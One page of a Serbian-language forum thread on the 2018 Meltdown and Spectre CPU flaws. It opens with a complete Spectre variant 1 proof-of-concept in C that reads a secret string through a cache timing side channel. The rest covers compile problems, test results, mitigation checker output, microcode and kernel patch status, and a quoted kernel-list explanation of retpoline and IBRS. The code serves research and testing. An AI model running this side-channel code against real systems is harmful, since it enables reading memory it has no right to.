Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

Intel CPU security bug

[es] :: Kernel i OS programiranje :: Intel CPU security bug

Strane: << < .. 2 3 4 5 6 7 8 9 10 11 ... Dalje > >>

[ Pregleda: 142215 | Odgovora: 232 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

Branimir Maksimovic

Član broj: 64947
Poruke: 5534
c-bg-d-p3-92.bvcom.net.



+1064 Profil

icon Re: Intel CPU security bug13.01.2018. u 17:45 - pre 75 meseci
Evo ti progi sa modifikacijom samo na OSX stavi MAP_ANON umesto MAP_ANONYMOUS da bi ti iskompajliralo.
Za Windows mora VirtualProtect nakon alokacije sa VirtualAlloc ili plain malloc ali treba ti alignovano na 4096 da bi ceo segment mogao,
ne znam sada za Windows jel radi na unaligned.

Code:

/*********************************************************************
*
* Spectre PoC
*
* This source code originates from the example code provided in the 
* "Spectre Attacks: Exploiting Speculative Execution" paper found at
* https://spectreattack.com/spectre.pdf
*
* Minor modifications have been made to fix compilation errors and
* improve documentation where possible.
*
**********************************************************************/
#include <sys/mman.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtsc, rdtscp, clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtsc, rdtscp, clflush */
#endif

/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
  1,
  2,
  3,
  4,
  5,
  6,
  7,
  8,
  9,
  10,
  11,
  12,
  13,
  14,
  15,
  16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];

char * secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x) {
  if (x < array1_size) {
    temp &= array2[array1[x] * 512];
  }
}

/********************************************************************
Analysis code
********************************************************************/
#ifdef NOCLFLUSH
#define CACHE_FLUSH_ITERATIONS 2048
#define CACHE_FLUSH_STRIDE 4096
uint8_t cache_flush_array[CACHE_FLUSH_STRIDE * CACHE_FLUSH_ITERATIONS];
#endif

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(int cache_hit_threshold, size_t malicious_x, uint8_t value[2], int score[2]) {
  static int results[256];
  int tries, i, j, k, mix_i, junk = 0;
  size_t training_x, x;
  register uint64_t time1, time2;
  volatile uint8_t * addr;

#ifdef NOCLFLUSH
  int junk2 = 0;
  int l;
#endif

  for (i = 0; i < 256; i++)
    results[i] = 0;
  for (tries = 999; tries > 0; tries--) {

    /* Flush array2[256*(0..255)] from cache */
    for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */

    /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
    training_x = tries % array1_size;
    for (j = 29; j >= 0; j--) {
#ifndef NOCLFLUSH
      _mm_clflush( & array1_size);
#else
      /* Alternative to using clflush to flush the CPU cache */
      /* Read addresses at 4096-byte intervals out of a large array.
         Do this around 2000 times, or more depending on CPU cache size. */

      for(l = CACHE_FLUSH_ITERATIONS * CACHE_FLUSH_STRIDE - 1; l >= 0; l-= CACHE_FLUSH_STRIDE) {
        junk2 = cache_flush_array[l];
      } 
#endif

      /* Delay (can also mfence) */
      for (volatile int z = 0; z < 100; z++) {}

      /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
      /* Avoid jumps in case those tip off the branch predictor */
      x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
      x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
      x = training_x ^ (x & (malicious_x ^ training_x));

      /* Call the victim! */
      victim_function(x);

    }

    /* Time reads. Order is lightly mixed up to prevent stride prediction */
    for (i = 0; i < 256; i++) {
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];

    /*
    We need to accuratly measure the memory access to the current index of the
    array so we can determine which index was cached by the malicious mispredicted code.

    The best way to do this is to use the rdtscp instruction, which measures current
    processor ticks, and is also serialized.
    */

#ifndef NORDTSCP
      time1 = __rdtscp( & junk); /* READ TIMER */
      junk = * addr; /* MEMORY ACCESS TO TIME */
      time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
#else

    /*
    The rdtscp instruction was instroduced with the x86-64 extensions.
    Many older 32-bit processors won't support this, so we need to use
    the equivalent but non-serialized tdtsc instruction instead.
    */

#ifndef NOMFENCE
      /*
      Since the rdstc instruction isn't serialized, newer processors will try to
      reorder it, ruining its value as a timing mechanism.
      To get around this, we use the mfence instruction to introduce a memory
      barrier and force serialization. mfence is used because it is portable across
      Intel and AMD.
      */

      _mm_mfence();
      time1 = __rdtsc(); /* READ TIMER */
      _mm_mfence();
      junk = * addr; /* MEMORY ACCESS TO TIME */
      _mm_mfence();
      time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
      _mm_mfence();
#else
      /*
      The mfence instruction was introduced with the SSE2 instruction set, so
      we have to ifdef it out on pre-SSE2 processors.
      Luckily, these older processors don't seem to reorder the rdtsc instruction,
      so not having mfence on older processors is less of an issue.
      */

      time1 = __rdtsc(); /* READ TIMER */
      junk = * addr; /* MEMORY ACCESS TO TIME */
      time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
#endif
#endif
      if (time2 <= cache_hit_threshold && mix_i != array1[tries % array1_size])
        results[mix_i]++; /* cache hit - add +1 to score for this value */
    }

    /* Locate highest & second-highest results results tallies in j/k */
    j = k = -1;
    for (i = 0; i < 256; i++) {
      if (j < 0 || results[i] >= results[j]) {
        k = j;
        j = i;
      } else if (k < 0 || results[i] >= results[k]) {
        k = i;
      }
    }
    if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
      break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
  }
  results[0] ^= junk; /* use junk so code above won’t get optimized out*/
  value[0] = (uint8_t) j;
  score[0] = results[j];
  value[1] = (uint8_t) k;
  score[1] = results[k];
}

/*
*  Command line arguments:
*  1: Cache hit threshold (int)
*  2: Malicious address start (size_t)
*  3: Malicious address count (int)
*/
int main(int argc,
  const char * * argv) {
  
  /* Default to a cache hit threshold of 80 */
  int cache_hit_threshold = 80;

  char* secret1 = mmap(0,4096,PROT_READ | PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
  printf("before %p %p\n",secret1,array1);
  memcpy(secret1,secret,strlen(secret));
  mprotect(secret1,4096,PROT_NONE);
  secret = secret1;
  printf("guess now\n");
  /* Default for malicious_x is the secret string address */
  size_t malicious_x = (size_t)(secret - (char * ) array1);
  
  /* Default addresses to read is 40 (which is the length of the secret string) */
  int len = 40;
  
  int score[2];
  uint8_t value[2];
  int i;

  #ifdef NOCLFLUSH
  for (i = 0; i < sizeof(cache_flush_array); i++) {
    cache_flush_array[i] = 1;
  }
  #endif
  
  for (i = 0; i < sizeof(array2); i++) {
    array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
  }

  /* Parse the cache_hit_threshold from the first command line argument.
     (OPTIONAL) */
  if (argc >= 2) {
    sscanf(argv[1], "%d", &cache_hit_threshold);
  }

  /* Parse the malicious x address and length from the second and third
     command line argument. (OPTIONAL) */
  if (argc >= 4) {
    sscanf(argv[2], "%p", (void * * )( &malicious_x));

    /* Convert input value into a pointer */
    malicious_x -= (size_t) array1;

    sscanf(argv[3], "%d", &len);
  }

  /* Print git commit hash */
  #ifdef GIT_COMMIT_HASH
    printf("Version: commit " GIT_COMMIT_HASH "\n");
  #endif
  
  /* Print cache hit threshold */
  printf("Using a cache hit threshold of %d.\n", cache_hit_threshold);
  
  /* Print build configuration */
  printf("Build: ");
  #ifndef NORDTSCP
    printf("RDTSCP_SUPPORTED ");
  #else
    printf("RDTSCP_NOT_SUPPORTED ");
  #endif
  #ifndef NOMFENCE
    printf("MFENCE_SUPPORTED ");
  #else
    printf("MFENCE_NOT_SUPPORTED");
  #endif
  #ifndef NOCLFLUSH
    printf("CLFLUSH_SUPPORTED ");
  #else
    printf("CLFLUSH_NOT_SUPPORTED ");
  #endif

  printf("\n");

  printf("Reading %d bytes:\n", len);

  /* Start the read loop to read each address */
  while (--len >= 0) {
    printf("Reading at malicious_x = %p... ", (void * ) malicious_x);

    /* Call readMemoryByte with the required cache hit threshold and
       malicious x address. value and score are arrays that are
       populated with the results.
    */
    readMemoryByte(cache_hit_threshold, malicious_x++, value, score);

    /* Display the results */
    printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
    printf("0x%02X=’%c’ score=%d ", value[0],
      (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
    
    if (score[1] > 0) {
      printf("(second best: 0x%02X=’%c’ score=%d)", value[1],
      (value[1] > 31 && value[1] < 127 ? value[1] : '?'), score[1]);
    }

    printf("\n");
  }
  return (0);
}

 
Odgovor na temu

Mik0rist

Član broj: 337924
Poruke: 31
*.cpe.vektor.net.



+4 Profil

icon Re: Intel CPU security bug13.01.2018. u 18:46 - pre 75 meseci
Reci ovom crozoneu da treba da bude

Code:

int tries, i, j, k, mix_i;
unsigned int junk = 0;


onda ne izbacuje greške kad se kompajlira ;)
 
Odgovor na temu

Branimir Maksimovic

Član broj: 64947
Poruke: 5534
c-bg-d-p3-92.bvcom.net.



+1064 Profil

icon Re: Intel CPU security bug13.01.2018. u 18:58 - pre 75 meseci
Ma to nije greska nego warning, nego kako kod tebe radi? Jel cita ili ne cita? To me interesuje ;)
 
Odgovor na temu

Mik0rist

Član broj: 337924
Poruke: 31
*.cpe.vektor.net.



+4 Profil

icon Re: Intel CPU security bug13.01.2018. u 19:01 - pre 75 meseci
The Magic Words are Squeamish Ossifrage :)
 
Odgovor na temu

oracle_kid

Član broj: 266646
Poruke: 219



+18 Profil

icon Re: Intel CPU security bug14.01.2018. u 09:51 - pre 75 meseci
Apdejtovao Linux Fedoru na 27, i pogledam microcode.."updated early to...2013"??
Imam laptop Intel i3 2370 za koji na sajtu pise da postoji update od 2018
Koji update Fedora distribuira? Jel mogu sam da instaliram novi microcode?

 
Odgovor na temu

Mik0rist

Član broj: 337924
Poruke: 31
*.cpe.vektor.net.



+4 Profil

icon Re: Intel CPU security bug14.01.2018. u 12:47 - pre 75 meseci
 
Odgovor na temu

Branimir Maksimovic

Član broj: 64947
Poruke: 5534
c-bg-d-p3-92.bvcom.net.



+1064 Profil

icon Re: Intel CPU security bug14.01.2018. u 19:16 - pre 75 meseci
Citat:
oracle_kid:
Apdejtovao Linux Fedoru na 27, i pogledam microcode.."updated early to...2013"??
Imam laptop Intel i3 2370 za koji na sajtu pise da postoji update od 2018
Koji update Fedora distribuira? Jel mogu sam da instaliram novi microcode?



Nema svrhe da stavljas microcode update dok ne stignu kernel patchevi koji jos nisu sleteli ni u rc kernel a kamoli backportovani u starije.
Ja imam microcode ali ne radi ama bas nista korisno trenutno ;)
 
Odgovor na temu

Mik0rist

Član broj: 337924
Poruke: 31
*.cpe.vektor.net.



+4 Profil

icon Re: Intel CPU security bug14.01.2018. u 19:56 - pre 75 meseci
Postoje samo dve verzije Linux-a za koje znam da su potpuno pačovani

OpenSUSE i Clear Linux. Ostali svi čekaju Retpoline support i GCC 7.2 koji je patched . . .

[Ovu poruku je menjao Mik0rist dana 14.01.2018. u 21:06 GMT+1]
 
Odgovor na temu

Mik0rist

Član broj: 337924
Poruke: 31
*.cpe.vektor.net.



+4 Profil

icon Re: Intel CPU security bug15.01.2018. u 00:46 - pre 75 meseci
Citat:
Branimir Maksimovic:
nego kako kod tebe radi? Jel cita ili ne cita? To me interesuje ;)



Pod Clear Linux-om imam Bus error i ne može da se pokrene. Kraj priče. Bar za ovu verziju. :P

[Ovu poruku je menjao Mik0rist dana 15.01.2018. u 02:01 GMT+1]
 
Odgovor na temu

Branimir Maksimovic

Član broj: 64947
Poruke: 5534
c-bg-d-p3-92.bvcom.net.



+1064 Profil

icon Re: Intel CPU security bug15.01.2018. u 06:38 - pre 75 meseci
Ne bi trebalo da bude bus error to obicno javi kad mmapiras neki fajl sa vecom velicinom nego sto je fajl pa pokusas da pises iza fajla... mozda ti taj patch na clear Linux-u pravi sistem nestabilnim.
Svakako da ovo indikuje da je nesto poslo naopako sa mmap ;)
iskompajliraj sa -g pa opali gdb nad kore dumpom da vidis gde je zveknulo.
 
Odgovor na temu

Mik0rist

Član broj: 337924
Poruke: 31
*.cpe.vektor.net.



+4 Profil

icon Re: Intel CPU security bug15.01.2018. u 14:34 - pre 75 meseci
Ima li kraja ovome ?

https://www.cnet.com/news/spec...tbank-simon-segars-pcs-phones/

 
Odgovor na temu

Branimir Maksimovic

Član broj: 64947
Poruke: 5534
c-bg-d-p3-92.bvcom.net.



+1064 Profil

icon Re: Intel CPU security bug16.01.2018. u 00:51 - pre 75 meseci
Ovakva je situacija kod mene sada ;p
Code:

~/projects/SpectrePoC >>> sudo spectre-meltdown-checker                                                                                                                                      ±[●●][master]
Spectre and Meltdown mitigation detection tool v0.31

Checking for vulnerabilities against running kernel Linux 4.15.0-1-CUSTOM #1 SMP PREEMPT Mon Jan 15 13:34:41 CET 2018 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz

CVE-2017-5753 [bounds check bypass] aka 'Spectre Variant 1'
* Checking whether we're safe according to the /sys interface:  NO  (kernel confirms your system is vulnerable)
> STATUS:  VULNERABLE  (Vulnerable)

CVE-2017-5715 [branch target injection] aka 'Spectre Variant 2'
* Checking whether we're safe according to the /sys interface:  YES  (kernel confirms that the mitigation is active)
> STATUS:  NOT VULNERABLE  (Mitigation: Full generic retpoline)

CVE-2017-5754 [rogue data cache load] aka 'Meltdown' aka 'Variant 3'
* Checking whether we're safe according to the /sys interface:  YES  (kernel confirms that the mitigation is active)
> STATUS:  NOT VULNERABLE  (Mitigation: PTI)

A false sense of security is worse than no security at all, see --disclaimer



Medjutim probao fazon sa mprotect na centos6 i spectre ne radi ni tamo ;p
ne radi ni na iMacu starom 10 godina ;)
 
Odgovor na temu

nkrgovic
Nikola Krgović
Beograd

Član broj: 3534
Poruke: 2807

ICQ: 49345867
Sajt: https://www.twinstarsyste..


+655 Profil

icon Re: Intel CPU security bug16.01.2018. u 08:05 - pre 75 meseci
@Bane: Ako ja kapiram to sa mprotect je "fora" koja mora da se primeni u kodu i da se kod rekompajlira. Sto ce reci da tvoj kod radi kako valja, ali ako koristimo neki genericki softver mozemo samo da cekamo da ga autori okrpe... :)

Ja da opet pricam da tebe postujem kao developera nema smisla - previse sam to puta rekao. :) Ali to ne resava nista ako radis hosting, ili ako si ti hostovan na tudjem hostingu, ili ako jednostavno koristis genericki softver.... :/
Please do not feed the Trolls!

Blasphemy? How can I blaspheme? I'm a god!'
 
Odgovor na temu

Branimir Maksimovic

Član broj: 64947
Poruke: 5534
c-bg-d-p3-92.bvcom.net.



+1064 Profil

icon Re: Intel CPU security bug16.01.2018. u 08:24 - pre 75 meseci
Ma ovo je samo resenje za neku aplikaciju koju sam pises, pa cak ni to, eto, recimo, ne mozes da sakrijes ni privatni kljuc u SSL-u jer to on drzi kod sebe ;p
 
Odgovor na temu

Mik0rist

Član broj: 337924
Poruke: 31
*.cpe.vektor.net.



+4 Profil

icon Re: Intel CPU security bug16.01.2018. u 11:55 - pre 75 meseci
Pogledajte ovu smejuriju

https://betanews.com/2018/01/1...tdown-spectre-patches-malware/

Ali Smoke Loader. LoL
 
Odgovor na temu

Mik0rist

Član broj: 337924
Poruke: 31
*.cpe.vektor.net.



+4 Profil

icon Re: Intel CPU security bug16.01.2018. u 12:20 - pre 75 meseci
Citat:
Branimir Maksimovic:
eto, recimo, ne mozes da sakrijes ni privatni kljuc u SSL-u jer to on drzi kod sebe ;p


Ovaj propust u procesorskom dizajnu su mogli da koriste zadnjih 10 godina najmanje.

Da iščitaju sve što se moglo iščitati.Na bilo kojoj mašini i OS-u.

I onda se pojavi par naučnika iz Graca i privatna kompanija Cyberus Technology , Dresden, Germany.


Koja je stara 8 mececi u njihovom privrednom registru da nam otkriju Meltdown / Spectre. :p
 
Odgovor na temu

bojan_bozovic

Član broj: 29028
Poruke: 3292
87.116.178.*

Sajt: angelstudio.org


+392 Profil

icon Re: Intel CPU security bug16.01.2018. u 13:26 - pre 75 meseci
@Branimir

Tvoj kod radi na Cygwin x86_64 (gcc 6.4.0) ali na MinGW-w64 ne (gcc 5.1.0 i gcc 7.2.0) jer koristi taj UNIX sys/mman.h kojega nema u MinGW.
 
Odgovor na temu

Branimir Maksimovic

Član broj: 64947
Poruke: 5534
c-bg-d-p3-92.bvcom.net.



+1064 Profil

icon Re: Intel CPU security bug16.01.2018. u 13:28 - pre 75 meseci
mingw ti je Windows api, to nije potpuna emulacija. Moraces da pretabas kod da koristi Windows VirtualProtect i odgovarajuci mmap poziv mada mislim da treba samo VirtualAlloc ili nesto sto alignuje na page size.
 
Odgovor na temu

Mik0rist

Član broj: 337924
Poruke: 31
*.cpe.vektor.net.



+4 Profil

icon Re: Intel CPU security bug23.01.2018. u 11:07 - pre 75 meseci
Evo šta kaže majstor David Woodhouse

Citat:

I think we've covered the technical part of this now, not that you like
it — not that any of us *like* it. But since the peanut gallery is
paying lots of attention it's probably worth explaining it a little
more for their benefit.

This is all about Spectre variant 2, where the CPU can be tricked into
mispredicting the target of an indirect branch. And I'm specifically
looking at what we can do on *current* hardware, where we're limited to
the hacks they can manage to add in the microcode.

The new microcode from Intel and AMD adds three new features.

One new feature (IBPB) is a complete barrier for branch prediction.
After frobbing this, no branch targets learned earlier are going to be
used. It's kind of expensive (order of magnitude ~4000 cycles).

The second (STIBP) protects a hyperthread sibling from following branch
predictions which were learned on another sibling. You *might* want
this when running unrelated processes in userspace, for example. Or
different VM guests running on HT siblings.

The third feature (IBRS) is more complicated. It's designed to be
set when you enter a more privileged execution mode (i.e. the kernel).
It prevents branch targets learned in a less-privileged execution mode,
BEFORE IT WAS MOST RECENTLY SET, from taking effect. But it's not just
a 'set-and-forget' feature, it also has barrier-like semantics and
needs to be set on *each* entry into the kernel (from userspace or a VM
guest). It's *also* expensive. And a vile hack, but for a while it was
the only option we had.

Even with IBRS, the CPU cannot tell the difference between different
userspace processes, and between different VM guests. So in addition to
IBRS to protect the kernel, we need the full IBPB barrier on context
switch and vmexit. And maybe STIBP while they're running.

Then along came Paul with the cunning plan of "oh, indirect branches
can be exploited? Screw it, let's not have any of *those* then", which
is retpoline. And it's a *lot* faster than frobbing IBRS on every entry
into the kernel. It's a massive performance win.

So now we *mostly* don't need IBRS. We build with retpoline, use IBPB
on context switches/vmexit (which is in the first part of this patch
series before IBRS is added), and we're safe. We even refactored the
patch series to put retpoline first.

But wait, why did I say "mostly"? Well, not everyone has a retpoline
compiler yet... but OK, screw them; they need to update.

Then there's Skylake, and that generation of CPU cores. For complicated
reasons they actually end up being vulnerable not just on indirect
branches, but also on a 'ret' in some circumstances (such as 16+ CALLs
in a deep chain).

The IBRS solution, ugly though it is, did address that. Retpoline
doesn't. There are patches being floated to detect and prevent deep
stacks, and deal with some of the other special cases that bite on SKL,
but those are icky too. And in fact IBRS performance isn't anywhere
near as bad on this generation of CPUs as it is on earlier CPUs
*anyway*, which makes it not quite so insane to *contemplate* using it
as Intel proposed.

That's why my initial idea, as implemented in this RFC patchset, was to
stick with IBRS on Skylake, and use retpoline everywhere else. I'll
give you "garbage patches", but they weren't being "just mindlessly
sent around". If we're going to drop IBRS support and accept the
caveats, then let's do it as a conscious decision having seen what it
would look like, not just drop it quietly because poor Davey is too
scared that Linus might shout at him again. :)

I have seen *hand-wavy* analyses of the Skylake thing that mean I'm not
actually lying awake at night fretting about it, but nothing concrete
that really says it's OK.

If you view retpoline as a performance optimisation, which is how it
first arrived, then it's rather unconventional to say "well, it only
opens a *little* bit of a security hole but it does go nice and fast so
let's do it".

But fine, I'm content with ditching the use of IBRS to protect the
kernel, and I'm not even surprised. There's a *reason* we put it last
in the series, as both the most contentious and most dispensable part.
I'd be *happier* with a coherent analysis showing Skylake is still OK,
but hey-ho, screw Skylake.

The early part of the series adds the new feature bits and detects when
it can turn KPTI off on non-Meltdown-vulnerable Intel CPUs, and also
supports the IBPB barrier that we need to make retpoline complete. That
much I think we definitely *do* want. There have been a bunch of us
working on this behind the scenes; one of us will probably post that
bit in the next day or so.

I think we also want to expose IBRS to VM guests, even if we don't use
it ourselves. Because Windows guests (and RHEL guests; yay!) do use it.

If we can be done with the shouty part, I'd actually quite like to have
a sensible discussion about when, if ever, we do IBPB on context switch
(ptraceability and dumpable have both been suggested) and when, if
ever, we set STIPB in userspace.



https://lkml.org/lkml/2018/1/22/598
 
Odgovor na temu

Mik0rist

Član broj: 337924
Poruke: 31
*.cpe.vektor.net.



+4 Profil

icon Re: Intel CPU security bug23.01.2018. u 15:22 - pre 75 meseci
Evo i Linusov odgovor.





Btw. Ako ste već ažurirali BIOS, kako biste izbegli nepredvidljivo ponašanje sistema, možete se vratiti na prethodnu verziju BIOS-a.

http://www.dell.com/support/ar...torage-and-networking-?lang=en

Ubuntu
https://usn.ubuntu.com/usn/usn-3531-2/

Realno nemam odgovor dokle će ova zajebancija da traje.
 
Odgovor na temu

[es] :: Kernel i OS programiranje :: Intel CPU security bug

Strane: << < .. 2 3 4 5 6 7 8 9 10 11 ... Dalje > >>

[ Pregleda: 142215 | Odgovora: 232 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.